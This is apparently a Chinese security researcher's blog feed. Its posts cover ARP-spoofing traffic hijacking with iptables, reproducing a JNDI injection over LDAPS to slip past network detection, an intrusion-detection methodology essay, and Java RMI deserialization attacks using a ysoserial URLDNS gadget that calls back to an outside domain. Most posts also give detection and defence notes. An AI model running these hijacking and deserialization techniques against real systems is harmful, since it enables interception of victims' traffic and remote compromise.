<li>上述2个方式都需要确保通过 通过 <code>sudo sysctl -w net.ipv4.ip_forward=1</code>  开启IP数据包转发（ /proc/sys/net/ipv4/ip_forward 为1）<br />
/proc/sys/net/ipv4/ip_forward 是一个 Linux 系统中的内核参数，用于控制 IP 数据包是否能够在设备之间转发。其作用是决定系统是否作为路由器将数据包从一个网络接口转发到另一个网络接口。<br />
当 ip_forward 为 0 时：系统将不转发数据包。换句话说，如果数据包的目的地不是本地系统，系统就会丢弃这些数据包。<br />
当 ip_forward 为 1 时：系统允许转发数据包，也就是说，如果数据包的目标地址不是本机，而是其他网络中的设备，系统会将数据包转发到相应的网络接口。</li>
</ul>
<p>TIPS2：</p>
<ul>
<li>实际在欺骗时，可能遇到arp 欺骗失败的情况（Duplicate IP address deteced for ....  ，根因是同一个IP地址会对应两个不同的MAC地址）。</li>
<li>大部分情况下发生在欺骗网关的时候，因此只能获取受害者的请求包，无法获取响应包。（可以结合 wireshark 实际抓到的结果看，是否是只有单向的受害者的请求包，没有响应包。、即使是该模式下，依然受害者的网络依然正常，且 dns 欺骗有小概率可以成功，只需要先比网关先到达受害者的机器即可）</li>
</ul>
<p>ettercap开启 arp 欺骗（遇到地址冲突的情况）：<br />
<img src="media/17339745984795/17368419390938.jpg" alt="" /><br />
arp_spoof断开时，自动触发 arp 欺骗恢复：<br />
<img src="media/17339745984795/17368420637703.jpg" alt="" /></p>
<h3><a id="linux%E5%88%A9%E7%94%A8-02%E9%98%BB%E6%96%AD%E6%8C%87%E5%AE%9A-ip%E7%9A%84%E8%AE%BF%E9%97%AE" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>linux 利用02 - 阻断指定 ip 的访问</h3>
<p>可以通过 iptables 的 FORWARD 链来阻断指定 IP 的访问，FORWARD 链的作用（FORWARD链也被广泛在防火墙设备中）</p>
<ul>
<li>FORWARD 链：处理通过当前设备转发的流量。当数据包的目标地址不是本机，而是通过本机进行转发到其他地方时，FORWARD 链会处理这些数据包。这是你控制网络转发流量的地方。</li>
<li>INPUT 链：处理发往本机的数据包。一般用来过滤进入本机的流量。</li>
<li>OUTPUT 链：处理从本机发出的数据包。一般用来过滤本机发送出去的流量。</li>
</ul>
<p>阻断方式1：阻断目的：drop 掉 syn 包</p>
<pre><code class="language-plain_text">sudo iptables -A FORWARD -d 132.226.22.254 -j DROP
sudo iptables -L -n --line-number -t filter
</code></pre>
<p><img src="media/17339745984795/17369277447962.jpg" alt="" /></p>
<p><img src="media/17339745984795/17369282210231.jpg" alt="" /></p>
<p>阻断方式2：drop 掉 ack 包</p>
<pre><code class="language-plain_text">sudo iptables -D FORWARD 3
sudo iptables -A FORWARD -s 132.226.22.254 -j DROP
</code></pre>
<p><img src="media/17339745984795/17369282839918.jpg" alt="" /></p>
<p>方式1和方式2的效果差别不大，一个是不转发 syn，一个是不转发ack，推荐用1，流量会干净很多。</p>
<p>早期阻断 dns 并且记录的配置如下：</p>
<pre><code class="language-plain_text">Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination
1    LOG        all  --  0.0.0.0/0            132.226.22.254       LOG flags 0 level 4 prefix &quot;OUTBOUND BLOCK: &quot;
2    DROP       all  --  0.0.0.0/0            132.226.22.254
3    LOG        udp  --  11.11.11.11          11.39.210.118        udp spt:53 LOG flags 0 level 4 prefix &quot;DNS Block: &quot;
4    DROP       udp  --  11.11.11.11          11.39.210.118        udp spt:53
</code></pre>
<p><img src="media/17339745984795/17343420288714.jpg" alt="" /></p>
<h3><a id="linux%E5%88%A9%E7%94%A8-03%E5%8A%AB%E6%8C%81%E9%80%9A%E4%BF%A1%E6%B5%81%E9%87%8F" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>linux 利用03 - 劫持通信流量</h3>
<p>通过 iptables的 nat表的 PREROUTING 链设置REDIRECT 劫持目的 ip的访问到本机端口（备注：无法修改为其他ip，设置 SNAT 和 DNAT 策略后发现无法与恶意服务建立三次握手，但是可以通过REDIRECT + 端口转发间接实现，实际测试成功）</p>
<pre><code class="language-plain_text"># 查看 nat 表
sudo iptables -L -n --line-number  -t nat

# 添加PREROUTING链的 REDIRECT 策略
sudo iptables -t nat -A PREROUTING  -d 132.226.22.254  -p tcp  --dport 80 -j REDIRECT --to-port 8080

# 删除策略
sudo iptables -t nat -D PREROUTING  &lt;num&gt;
</code></pre>
<p>查看策略：<br />
<img src="media/17339745984795/17369296647407.jpg" alt="" /></p>
<p>添加策略后实际访问 目标ip 的80端口被劫持到本地的8080端口：<br />
<img src="media/17339745984795/17369298960089.jpg" alt="" /></p>
<p>备注：通过REDIRECT+ssh tunnel 劫持目标地址到外部恶意服务。（实际132.226.22.254 服务为 ifconfig.me 站点提供的服务)<br />
<img src="media/17339745984795/Xnip2025-01-16_10-50-00.jpg" alt="Xnip2025-01-16_10-50-00" /></p>
<h2><a id="0x03%E6%A3%80%E6%B5%8B%E4%B8%8E%E9%98%B2%E5%BE%A1" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x03 检测与防御</h2>
<h3><a id="%E6%A3%80%E6%B5%8B" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>检测</h3>
<p>终端：检测网关的 mac 地址变化，高频的 arp reply包。<br />
交换机：检测高频 arp reply包。</p>
<p>参考终端本地规则demo：</p>
<pre><code class="language-plain_text">### 规则1 
# 设置最大阈值，当同一 IP 地址对应多个不同的 MAC 地址时，触发警告
MAC_THRESHOLD = 2  # 网关如果有 2个以上的不同 MAC 地址

### 规则2
# 设置网关 ARP reply 包的数量阈值，超过则告警
ARP_REPLY_THRESHOLD = 6  # 10个以上的 ARP 回复包
ARP_REPLY_THRESHOLD_WINDOW = 60   # 检测时间窗口
</code></pre>
<h3><a id="%E9%98%B2%E5%BE%A1" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>防御</h3>
<p>终端防御：<br />
1、网关 mac 地址绑定。</p>
<p>交换机层（目前认为效果比较好的）：<br />
1、加固：DHCP Snooping（记录分配出去的ip 和 mac关系作为白名单） + 动态arp检查（检查ip 和 mac 是否在白名单），但需处理静态 ip 分配的情况）。<br />
2、限制：配置arp源抑制功能 arp source-suppression + 设备告警处置。</p>
<h2><a id="%E4%B8%80%E4%BA%9B%E7%BB%8F%E5%85%B8%E7%9A%84%E9%97%AE%E9%A2%98" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>一些经典的问题</h2>
<p>1、如果交换机层开了 arp 防劫持？arp欺骗还可以利用么？<br />
答：可以，arp 欺骗可以做到单向欺骗，只欺骗客户端。详细解释：arp 攻击原理中的关键步骤有2个：欺骗网关、欺骗受害者。交换机开启了 arp 防劫持后，只是交换机不认 伪造的 arp 响应包，还会把受害者的数据包转发给受害者；但攻击者可以单纯欺骗受害者，获取受害者发出的请求包，转发受害者的请求包。</p>
<p>2、一些 tips：</p>
<ul>
<li>删除arp 缓存： <code>arp -d &lt;IP ADDRESS&gt;</code></li>
<li>删除 chrome 的浏览器缓存：<code> chrome://net-internals/#dns</code></li>
<li>查案站点的 hsts开启情况：<code>chrome://net-internals/$hsts#hsts</code> （原理是：浏览器缓存，告诉浏览器站点支持https，后续强制使用 https 访问，且无法忽略证书错误）</li>
</ul>
<h2><a id="%E6%84%9F%E5%8F%97%E4%B8%8E%E6%80%9D%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>感受与思考</h2>
<p>1、arp 欺骗的本质属于属于协议缺陷，信任没有经过校验的 arp reply包。安全的太多问题本质都是未认证导致的。<br />
2、在准入做的比较好的公司，arp攻击的整体风险相对有限，但在特定场景的评估下（定向攻击、iot安全领域）可能会有意想不到的效果。<br />
3、为什么依然可以利用成功？结合甲方面临的主要风险看，核心风险来自于外部，arp 攻击的门槛需近源，有点鸡肋导致治理优先级有限。<br />
4、未知攻焉知防，重复了 N 遍的做事方法论：定义问题、明确目标与衡量指标、制定策略执行、PDCA。定义问题是重中之重。<br />
5、在实践阶段，有趁手的工具直接用是 ROI 最高的方式，不要想着造一个轮子，把完美主义放到最后。</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[jndi ldaps 利用复现与检测]]></title>
    <link href="https://thinkycx.me/2024-08-17-java-vulns-jndi-ldaps-exploit.html"/>
    <updated>2024-08-17T23:04:34+08:00</updated>
    <id>https://thinkycx.me/2024-08-17-java-vulns-jndi-ldaps-exploit.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>早在2021年12月份的时候就想研究一下ldaps的利用，各种原因导致delay了。众所周知，putting off an  easy thing makes it hard and putting off a  hard thing makes it never。本着完成 &gt; 完美的原则快速复现，该手法绕过NIDS等纯流量检测的安全产品来说，很有意义。</p>
<span id="more"></span><!-- more -->
<h2><a id="%E5%A4%8D%E7%8E%B0" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>复现</h2>
<p>1、ldaps需要一个有效的证书，复用早期搭建https代理时用的是lets encrypt  + certbot申请的证书即可（注意certbot证书更新依赖端口80，不要被占用，否则证书可能会过期）</p>
<pre><code class="language-bash"># 域名A记录对应的 vps上申请
#  sudo certbot certonly --standalone

# 验证一下证书有效（时间没过期）
# openssl s_client  -connect 127.0.0.1:1636  | openssl x509 -noout -dates
depth=2 C = US, O = Internet Security Research Group, CN = ISRG Root X1
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = E6
verify return:1
depth=0 CN = xxxxx.thinkycx.me
verify return:1
notBefore=Aug 17 13:41:00 2024 GMT
notAfter=Nov 15 13:40:59 2024 GMT
</code></pre>
<p>2、参考p牛的tls proxy 封装好 <code>./tls_proxy -l 127.0.0.1:1636 -r 127.0.0.1:1389 -c tmp/fullchain.pem -k tmp/privkey8.pem</code><br />
<img src="media/17239070745891/17239078279939.jpg" alt="" /></p>
<p>3、jndi注入 + ldaps<br />
<img src="media/17239070745891/17239528005773.jpg" alt="" /></p>
<h2><a id="tls%E7%9A%84-nginx-stream%E5%AE%9E%E7%8E%B0" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>tls 的nginx stream实现</h2>
<p>其实步骤1和2本质上就是tls封装了4层tcp数据，nginx stream模块本身也可以做这一层事情，简单分享一下我的配置，针对其他的tcp流数据转发 + 封装tls都可以复用。<a href="media/17239070745891/nginx-stream.drawio">链路</a>如下：</p>
<p><img src="media/17239070745891/17239519781401.jpg" alt="" class="mw_img_center" style="width:500px;display: block; clear:both; margin: 0 auto;" /></p>
<p>1、配置一个nginx stream模块，监听在1443，向后转发给1081端口</p>
<pre><code class="language-plain_text">    stream {
        upstream backend {
                     server 127.0.0.1:xxxx ;
        }

        upstream backend2 {
            server 127.0.0.1:1081 ;
        }

          log_format proxy4_log_format '$remote_addr [$time_local] '
                 '$protocol $status $bytes_sent $bytes_received '
                 '$session_time &quot;$upstream_addr&quot; '
                 '&quot;$upstream_bytes_sent&quot; &quot;$upstream_bytes_received&quot; &quot;$upstream_connect_time&quot;';

        server {
		# 监听别的端口也是ok的
        }

        server {
		listen 0.0.0.0:1443 ssl ;
		listen [::]:1443 ssl ;
		ssl_certificate &lt;PATH&gt;/fullchain.pem;
		ssl_certificate_key &lt;PATH&gt;/privkey.pem;

              proxy_pass backend2;

    		access_log /var/log/nginx/tcp_access_1443.log proxy4_log_format;
    		error_log /var/log/nginx/tcp_error_1443.log;
        }
    }
</code></pre>
<p>2、将需要用的服务暴露在 1081端口即可通过 <domain>:1443访问。也可以试用 ssh -R将远程端口转发到本地。<br />
<code>ssh -NR 127.0.0.1:1081:127.0.0.1:1081  root@&lt;vps-ip&gt;  </code></p>
<p>3、实际测试一下：</p>
<ul>
<li>本地模拟一个http协议响应返回<code>echo &quot;HTTP/1.1 200 OK\n\nok&quot; | ncat -lvvp 1081</code></li>
<li>curl 发起一个https请求</li>
</ul>
<p><img src="media/17239070745891/17239531576972.jpg" alt="" /></p>
<h2><a id="%E6%A3%80%E6%B5%8B" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>检测</h2>
<p>本质上只是封装了一层tls，对于rasp的检测来说，和ldap利用没有任何区别；对于waf的拦截 和流量安全产品+dns的联动检测来说，补充一下ldaps的特征即可，对于纯流量的检测（NIDS）来说只能基于tls检测了。</p>
<h2><a id="%E5%8F%82%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>参考</h2>
<p>1、 <a href="https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html">https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html</a></p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[浅谈甲方基础安全建设 - 如何构建可度量的入侵检测（风险感知）体系]]></title>
    <link href="https://thinkycx.me/2024-06-03-security-architect-how-to-build-an-anti-instrusion-system.html"/>
    <updated>2024-06-03T22:01:50+08:00</updated>
    <id>https://thinkycx.me/2024-06-03-security-architect-how-to-build-an-anti-instrusion-system.html</id>
    <content type="html">
      <![CDATA[<h2><a id="0x01%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x01 背景</h2>
<p>过往工作中有时会出现这样的困惑，甲方的入侵检测做了很多年，当传统的安全产品建设看似“成熟”之后，还是各种原因导致没有检出的case，那么问题到底出在哪儿？应该怎么建设？恰巧上周五大家也在讨论这件事，简单谈谈我的看法，权当一家之言，希望对你有帮助。</p>
<span id="more"></span><!-- more -->
<p>写作时间：2024年6月3日 下午10:09:42<br />
撰写时间：1h</p>
<blockquote>
<p>PS： 最近算是工作过程中一个关键的时间节点，回顾入职时定下的目标，核心目标：了解传统安全产品的建设原理算是阶段性完成了，也有幸参与了部分产品的从0到1建设经验，站在整个职业生涯看，算是一笔宝贵的财富，不过总结沉淀做得还不够好。借着这个契机，准备总结/分享一些收获（技术 + 方法论），主要还是偏个人思考居多，形式主要为：问题  + 结论。</p>
</blockquote>
<h2><a id="0x02%E7%BB%93%E8%AE%BA" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x02 结论</h2>
<p>通过构建风险感知全景图，通过指标刻画每个阶段的能力：风险识别数/应覆盖的检测能力数量/安全产品覆盖比例（数据+规则）/当下实时检出率。</p>
<h2><a id="0x03%E6%98%AF%E4%BB%80%E4%B9%88" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x03 是什么</h2>
<p>风险感知在整体安全建设中处于什么位置？企业信息安全建设领域（风险管理）方法论：<br />
1、事前：风险的【识别】与【加固】。<br />
2、事中：风险的【感知】与【止损】。<br />
3、事后：风险的【复盘】与【迭代】。</p>
<p><img src="media/17174233100473/17175059399299.jpg" alt="" class="mw_img_center" style="width:600px;display: block; clear:both; margin: 0 auto;" /></p>
<p>入侵检测的本质是  事中感知。核心目标是：风险都能检测出来。拆分一下目标取决于下面几个点：<br />
1、风险覆盖：知道有什么风险<br />
2、检测方案 ：知道怎么检测<br />
3、安全产品：有检测能力（有对应的数据，规则正常跑着）<br />
4、告警运营：有人跟进（能看懂，能处置，能闭环）</p>
<p>简化一点，抛开运营过程中“人”的因素，入侵检测效果 =  1* 2* 3<br />
具体到落地层面，“可度量的入侵检测体系” 关键的点是：  <code>风险可度量</code>，<code>检测方法可度量</code>、<code>检测效果可度量</code>。</p>
<h2><a id="0x04%E4%B8%BA%E4%BB%80%E4%B9%88" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x04 为什么</h2>
<p>为什么要做这件事情，为什么“可度量”很重要？</p>
<p>1、符合整体性思维原则：a）方便感知全局、当下进展、刻画主要矛盾，刻画从0到1建设的全景图；   b）任何目标，对应需要交付产品/结果都应该是有终态的，应该先定义好终态，在建设过程的每个阶段对比差距。</p>
<p>2、信息透明，提高效率：便于跨团队沟通、便于高效协作（包括攻、防、运营处置），便于项目沉淀。</p>
<p>3、符合事物发展的客观规律：事物发展成熟的标志：模块不断细分、标准化、流程化、自动化。</p>
<h2><a id="0x05%E6%80%8E%E4%B9%88%E5%81%9A" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x05 怎么做</h2>
<p>简单来说，整张表（风险感知矩阵图），核心逻辑是：风险  + 方案  + 效果。具体到字段上：、</p>
<ul>
<li>风险：风险域、入侵风险场景、攻击向量</li>
<li>方案：产品1、产品2（产品的检测手法 和 攻击向量非一一映射关系，目标是能攻击向量覆盖即可，多种攻击向量可能对应到产品的检测方法只是一种）</li>
<li>效果：实际检出率 （只为最终检测效果负责，产品本身的数据质量覆盖度应在产品本身闭环）</li>
</ul>
<p><img src="media/17174233100473/17175048373072.jpg" alt="" class="mw_img_center" style="width:800px;display: block; clear:both; margin: 0 auto;" /></p>
<p>最终达到了什么效果？完成了既定目标：通过各指标，刻画风险场景、入侵感知能力建设、实际检出效果。</p>
<p>具体到执行层怎么做？风险的发现和攻击向量提取 通常是蓝军同学/研究团队负责，安全产品建设（数据+规则）通常是红军负责，两者平衡交叉效果可能会更好（或引入新团队，紫军）。</p>
<h2><a id="0xff%E6%80%BB%E7%BB%93%E6%84%9F%E5%8F%97" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0xFF总结&amp;感受</h2>
<p>1、入侵检测只是风险管理过程中一个具体的例子（事中感知），识别风险/提取检测手法/闭环风险检测能力（数据+规则）/刻画检测效果（bas）是基础，方法论可适用于任何风险管理领域。<br />
2、“仰望星空+脚踏实地”。a）全局/细节都很重要，缺一不可，需要平衡。跳出写规则的细节从局外人的角度看，更容易找到发展方向；关注细节同样重要，才会让你不走太偏。b）结果很重要，让我们不要忘记目标；过程很重要，让我们注重当下。<br />
3、项目阶段性做完之后，需要阶段性总结，最好的是十年前，其次是现在。<br />
4、职业生涯SOP：通用版 / 偏激版需要沉淀。</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[浅谈Java RMI 攻击面和利用]]></title>
    <link href="https://thinkycx.me/2024-05-11-java-vulns-rmi-study.html"/>
    <updated>2020-05-11T16:13:31+08:00</updated>
    <id>https://thinkycx.me/2024-05-11-java-vulns-rmi-study.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>4年前学习过但是工作中几乎用不到已经忘了，基于最近的契机简单重新一下RMI相关的知识点。<br />
目标：了解攻击面、利用方法、了解原理&amp;利用链的构造、检测方法</p>
<span id="more"></span><!-- more -->
<blockquote>
<p>from internet ,for internet</p>
</blockquote>
<p>相关概念如下：</p>
<p>RMI：remote method invocation（Remote Method Invocation，远程方法调用）<br />
JRMP：Java Remote Message Protocol ，Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写。</p>
<p>Java本身对RMI规范的实现默认使用的是JRMP协议。Weblogic对RMI规范的实现使用T3协议</p>
<p>Java RMI通信简述：RPC通信时，client的obj需要调用server的接口：1）client首先通过RMIRegistry知道 server在哪里（底层是stub，封装了server远程对象的信息）  2）请求Server的接口参数和返回数据全部通过序列化传输 。</p>
<p><img src="media/15891848112325/17169661539924.jpg" alt="" /></p>
<p>不考虑绕过的情况：</p>
<p><img src="media/15891848112325/17169658822911.jpg" alt="" /></p>
<p>（jdk版本升级后的情况）绕过的情况：<br />
<img src="media/15891848112325/17169659409515.jpg" alt="" /></p>
<p>首次整理：2020年5月11日<br />
更新时间：2024年5月11日</p>
<h2><a id="rmi%E7%9A%84%E4%B8%80%E4%B8%AA%E7%BB%8F%E5%85%B8%E4%BE%8B%E5%AD%90" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>RMI的一个经典例子</h2>
<p>先看一个已经烂大街的demo，本地代码参考 rmi</p>
<p><img src="media/15891848112325/17158517924992.jpg" alt="" /></p>
<p>1、客户端和服务端定义好接口Hello</p>
<pre><code class="language-java">import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;
}
</code></pre>
<p>2、服务端实现接口实现类HelloImpl（继承UnicastRemoteObject）</p>
<pre><code class="language-java">package com.example.basicstudy.rmi;

import ysoserial.payloads.URLDNS;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class HelloImpl  extends UnicastRemoteObject implements Hello{

    protected HelloImpl() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
        return &quot;hello world&quot;;
    }

}

</code></pre>
<p>3、服务端注册 对象到RMIRegistry 供客户端调用</p>
<pre><code class="language-java">package com.example.basicstudy.rmi;

import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer  {


    public static void main(String args[]) {
        try {
            System.out.println(&quot;[*] rmi server start...&quot;);

            HelloImpl obj = new HelloImpl();
//            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);  （如果obj没有继承 UnicastRemoteObject)

            // Bind the remote object's stub in the registry
            Registry registry = LocateRegistry.createRegistry(1099); //  LocateRegistry.getRegistry(1099);
            registry.rebind(&quot;Hello&quot;, obj);
//            等同于
//            Naming.rebind(&quot;rmi://127.0.0.1:1099/Hello&quot;, obj);

            System.err.println(&quot;Server ready&quot;);

        } catch (Exception e) {
            System.err.println(&quot;Server exception: &quot; + e.toString());
            e.printStackTrace();
        }
    }
}

</code></pre>
<p><img src="media/15891848112325/17158516286482.jpg" alt="" /></p>
<p>4、客户端在RMIRegistry根据name搜索到对象，调用方法完成一次RMI调用</p>
<pre><code class="language-java">package com.example.basicstudy.rmi;

import ysoserial.payloads.URLDNS;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteStub;
import java.util.Arrays;

public class RMIClient {

    private RMIClient() {}

    public static void main(String[] args) throws Exception {

        new RMIClient().test01HelloWorld();

    }

    /**
     * RMI原理demo：rmi client调用rmi server的方法
     * */
    public void test01HelloWorld() {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            // 2024-04-30
            Hello stub = (Hello) registry.lookup(&quot;Hello&quot;);

//            Hello stub = (Hello)Naming.lookup(&quot;rmi://127.0.0.1:1099/Hello&quot;);

            String response = stub.sayHello();
            System.out.println(&quot;response: &quot; + response);

        } catch (Exception e) {
            System.err.println(&quot;Client exception: &quot; + e.toString());
            e.printStackTrace();
        }
    }

}
</code></pre>
<p>RMI调用成功：<br />
<img src="media/15891848112325/17158517553119.jpg" alt="" /></p>
<p>原理分析关键点：<br />
1）接口对象的传输涉及到序列化和反序列化<br />
（忽略这个2. 如果接口参数类型的子类在client和server上没有，则需要去指定的codebase（java.rmi.server.codebase）加载（默认不开）——</p>
<p>2）实际远程方法的调用在UnicastServerRef#dispatch中：</p>
<ul>
<li>unmarshalParameters解析参数 （UnicastRef#unmarshalValue 获取）</li>
<li>var42.invoke(var1, var9)：反射调用获取结果。</li>
</ul>
<p>参数解析位置：</p>
<pre><code class="language-plain_text">//  （UnicastRef#unmarshalValue 获取）
    protected static Object unmarshalValue(Class&lt;?&gt; var0, ObjectInput var1) throws IOException, ClassNotFoundException {
        if (var0.isPrimitive()) {
            if (var0 == Integer.TYPE) {
                return var1.readInt();
            } else if (var0 == Boolean.TYPE) {
                return var1.readBoolean();
            } else if (var0 == Byte.TYPE) {
                return var1.readByte();
            } else if (var0 == Character.TYPE) {
                return var1.readChar();
            } else if (var0 == Short.TYPE) {
                return var1.readShort();
            } else if (var0 == Long.TYPE) {
                return var1.readLong();
            } else if (var0 == Float.TYPE) {
                return var1.readFloat();
            } else if (var0 == Double.TYPE) {
                return var1.readDouble();
            } else {
                throw new Error(&quot;Unrecognized primitive type: &quot; + var0);
            }
        } else {
            return var1.readObject();   // here
        }
    }
</code></pre>
<p>函数调用时：<br />
<img src="media/15891848112325/17164465685035.jpg" alt="" /></p>
<p>源码分析：<br />
1、<a href="https://tttang.com/archive/1530/">https://tttang.com/archive/1530/</a><br />
2、<a href="https://www.cnblogs.com/binarylei/p/12115986.html">https://www.cnblogs.com/binarylei/p/12115986.html</a></p>
<h2><a id="rmi%E7%9B%B8%E5%85%B3%E7%9A%84%E6%94%BB%E5%87%BB%E9%9D%A2%EF%BC%88server%E5%92%8Cclient%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>RMI相关的攻击面（Server和Client）</h2>
<p>对象：RMI Client、 RMI Server、RMI Registry</p>
<h3><a id="rmi-client%E6%94%BB%E5%87%BB-rmi-server%E2%9C%85" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>RMI Client攻击 RMI Server ✅</h3>
<p>参考参考链接1</p>
<p>条件：接口存在 Object参数（如下面的testAttackRMIServer函数的参数为Object）<br />
攻击方法：client构造恶意对象，触发服务端反序列化<br />
参考 test02AttackRMIServer</p>
<p>Hello接口 新增一个 testAttackRMIServer 函数，参数为Object</p>
<pre><code class="language-java">package com.example.basicstudy.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;

    String testAttackRMIServer(Object o) throws RemoteException;

}

</code></pre>
<p>HelloImpl： 实现这个接口testAttackRMIServer，返回个字符串。</p>
<pre><code class="language-java">
package com.example.basicstudy.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class HelloImpl  extends UnicastRemoteObject implements Hello{

    protected HelloImpl() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
        return &quot;hello world&quot;;
    }

    @Override
    public String testAttackRMIServer(Object o) throws RemoteException {
        System.out.println(&quot;testAttackRMIServer obj: &quot; +  o.toString());
        return &quot;hello testAttackRMIServer&quot;;

    }
}

</code></pre>
<p>RMI Client 在registry拿到stub后，调用该危险的函数，发送一个恶意的对象（这里用URLDNS为例，发过去 触发RMI Server中的反序列化）</p>
<pre><code class="language-java">    public  void test02AttackRMIServer() throws Exception {
        Hello stub = (Hello)Naming.lookup(&quot;rmi://127.0.0.1:1099/Hello&quot;);
        System.out.println(stub.testAttackRMIServer(new URLDNS().getObject(&quot;http://test.s.dlsr.icu&quot;)));
    }
</code></pre>
<p>利用成功。</p>
<p>原理分析，在获取客户端参数时触发Server中的UnicastRef#unmarshalValue 中的readObject导致反序列化。</p>
<pre><code class="language-plain_text">resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unmarshalValue:326, UnicastRef (sun.rmi.server)     // Server获取Client传递过来的参数时，在UnicastRef#unmarshalValue中 触发反序列化
dispatch:308, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 827278896 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
</code></pre>
<p>如何发现这样的接口和利用？参考：<a href="mweblib://17168706056154">RMI 相关工具使用 -  RmiTaste</a></p>
<h3><a id="rmi-server%E6%94%BB%E5%87%BB-rmi-client%E2%9C%85" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>RMI Server攻击 RMI Client ✅</h3>
<p>同理，HelloImpl 增加一个接口，返回一个Object（这里为URLDNS链中的恶意的hashmap对象）。</p>
<pre><code class="language-plain_text">    @Override
    public Object testAttackRMIClient(String msg) throws Exception {
        System.out.println(&quot;testAttackRMIClient msg: &quot; +  msg);
        return new URLDNS().getObject(&quot;http://test.testAttackRMIClient.s.dlsr.icu&quot;);
    }
    
</code></pre>
<p>RMIClient调用该接口，会接受一个恶意的对象，触发反序列化，发起DNS请求：</p>
<pre><code class="language-plain_text">    public  void test03AttackRMIClient() throws Exception {
        Hello stub = (Hello)Naming.lookup(&quot;rmi://127.0.0.1:1099/Hello&quot;);
        System.out.println(stub.testAttackRMIClient(&quot;test test03AttackRMIClient&quot;));
    }

</code></pre>
<p>利用成功。</p>
<p>Server的调用栈几乎同上，Server返回的Object为恶意的Object</p>
<pre><code class="language-plain_text">testAttackRMIClient:36, HelloImpl (com.example.basicstudy.rmi)      // 这里返回一个恶意的Object给客户端
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)                                                  //反射调用 Server实现的方法
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
